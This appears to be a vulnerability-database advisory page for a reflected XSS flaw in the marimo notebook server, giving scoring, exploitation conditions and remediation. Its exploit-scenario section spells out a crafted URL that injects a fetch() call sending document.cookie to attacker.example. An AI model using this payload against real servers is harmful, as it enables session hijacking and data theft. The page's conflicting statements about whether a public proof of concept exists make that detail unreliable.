Skip to main content

marimo CVE-2026-54386

| EUVDEUVD-2026-37809 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-17 VulnCheck GHSA-8m59-7xv8-735h
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker identifies accessible marimo server
  2. Delivery
    Craft file parameter payload prefixed with __new__
  3. Exploit
    Deliver malicious URL to victim via phishing or link sharing
  4. Install
    Victim clicks link and loads notebook page
  5. C2
    Single quote in file parameter breaks JavaScript string literal context
  6. Execute
    Injected script executes in marimo server origin
  7. Impact
    Attacker exfiltrates session data or manipulates notebook

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the following specific conditions: (1) the victim must click or otherwise navigate to a crafted URL containing the malicious file query parameter - active user interaction is mandatory per CVSS UI:A, and drive-by or passive exploitation is not possible; (2) the file parameter value must begin with the string __new__ to bypass marimo's 404 file-existence check and proceed to the vulnerable rendering path; (3) the marimo notebook server must be network-reachable to the attacker for crafting and to the victim for delivery. No authentication is required from the attacker (CVSS PR:N). Exploitation is limited by the social engineering requirement: a victim must be persuaded to follow a link to their own marimo server. Deployments restricted to localhost or protected behind authentication proxies have a substantially reduced attack surface, as the attacker cannot deliver a meaningful payload without the victim being an authenticated user of an accessible instance.

Impact

The CVSS 4.0 score of 5.1 (Medium) accurately reflects the constrained impact profile: mandatory active user interaction (UI:A) is the primary limiting factor, with no vulnerable-system impact (VC:N/VI:N/VA:N) and only limited subsequent-system impact (SC:L/SI:L). Real-world risk is moderate rather than critical: exploiting this flaw requires socially engineering a victim into clicking a crafted URL, which constrains scalability. However, marimo is commonly deployed in collaborative, research, and educational settings where server URLs are freely shared, making phishing-style delivery plausible. The absence of CSP on the notebook page means successful injection achieves full same-origin script execution - enabling session hijacking, credential theft, or notebook data exfiltration - which somewhat exceeds what the numeric score alone conveys. KEV status is not confirmed, and EPSS data was not provided in the input, so exploitation likelihood is inferred from attack complexity rather than empirical signal. The patch is available and low-risk to apply, making this a straightforward remediation priority for any externally exposed marimo instance.

Exploit ScenarioDerived

An attacker targeting a publicly accessible marimo deployment crafts a URL such as https://marimo.example.com/notebook?file=__new__';fetch('https://attacker.example/steal?c='+document.cookie)//, where the __new__ prefix bypasses the 404 guard and the trailing single-quote breaks out of the JavaScript string literal in the rendered page. The attacker sends this URL to a victim who has an active marimo session; upon clicking, the victim's browser executes the injected script in the marimo server's origin, exfiltrating session cookies or notebook content to the attacker-controlled endpoint. No public POC has been identified, but the attack requires no special tooling beyond URL crafting.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 17, 2026

Reflected XSS in the marimo notebook server before version 0.23.9 enables unauthenticated remote attackers to inject and execute arbitrary JavaScript in the origin of a victim's marimo server by supplying a crafted file query parameter. The flaw stems from improper single-quote escaping in assets.py when reflecting the parameter into an inline JavaScript string literal; attackers bypass the server's 404 check by prefixing payloads with __new__, and execution occurs without Content-Security-Policy restrictions. No active exploitation is confirmed (not in CISA KEV) and no public exploit code has been identified at time of analysis, though the attack mechanism is straightforward for a motivated attacker targeting shared or collaborative marimo deployments.

RemediationAI

Upgrade to marimo 0.23.9 or later, which resolves the vulnerability via commit fdd55c8cf6260ae23bb411dc9d9269def5cf75d6 (https://github.com/marimo-team/marimo/commit/fdd55c8cf6260ae23bb411dc9d9269def5cf75d6); the release is available at https://github.com/marimo-team/marimo/releases/tag/0.23.9. If an immediate upgrade is not feasible, restrict access to the marimo notebook server to trusted, authenticated users via a reverse proxy enforcing authentication (e.g., HTTP Basic Auth or OAuth2 proxy) - this eliminates the unauthenticated attack surface, though it does not fix the underlying escaping defect. Injecting a strict Content-Security-Policy header at the reverse proxy layer (e.g., script-src 'self') would reduce the exploitability of any XSS by blocking inline script execution, but note this may break marimo's own inline scripting and requires testing. Avoid exposing marimo servers directly to untrusted networks until the patch is applied.

Affected VersionsENISA

marimo 0 <0.23.9

Affected Packages

pypi marimo fix: 0.23.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

marimo is a Python-based reactive notebook framework that serves a web interface for authoring and executing notebooks. The vulnerability resides in the HTTP handler responsible for the notebook page (identified as assets.py per the VulnCheck advisory), which takes the file query parameter and embeds it directly into an inline JavaScript string literal in the HTML response without sanitizing single-quote characters. CWE-79 (Improper Neutralization of Input During Web Page Generation) describes this root cause: user-supplied data is concatenated into a script context without context-aware encoding. The __new__ prefix is a recognized sentinel value in marimo that instructs the server to treat the request as creating a new notebook rather than loading an existing file, effectively bypassing the 404 guard that would otherwise reject unrecognized filenames. Because no Content-Security-Policy header is enforced on the notebook page, injected scripts run with full same-origin privileges. All marimo versions covered by CPE cpe:2.3:a:marimo-team:marimo:*:*:*:*:*:*:*:* before 0.23.9 are affected.

Know when Marimo gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered reflected XSS requires no attacker privileges but mandates victim interaction; scope changes to the browser enabling limited confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

marimo before 0.23.9 contains a reflected cross-site scripting vulnerability in the notebook page that allows unauthenticated attackers to inject arbitrary JavaScript by exploiting improper escaping of single quotes in the file query parameter reflected into an inline JavaScript string literal. Attackers can craft a malicious link with a payload beginning with __new__ to bypass the 404 check and inject JavaScript into the page, which executes without Content-Security-Policy restrictions in the origin of a victim's marimo server.

Threat Intelligence Overview

EPSS Score
0.2%
Top 85% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy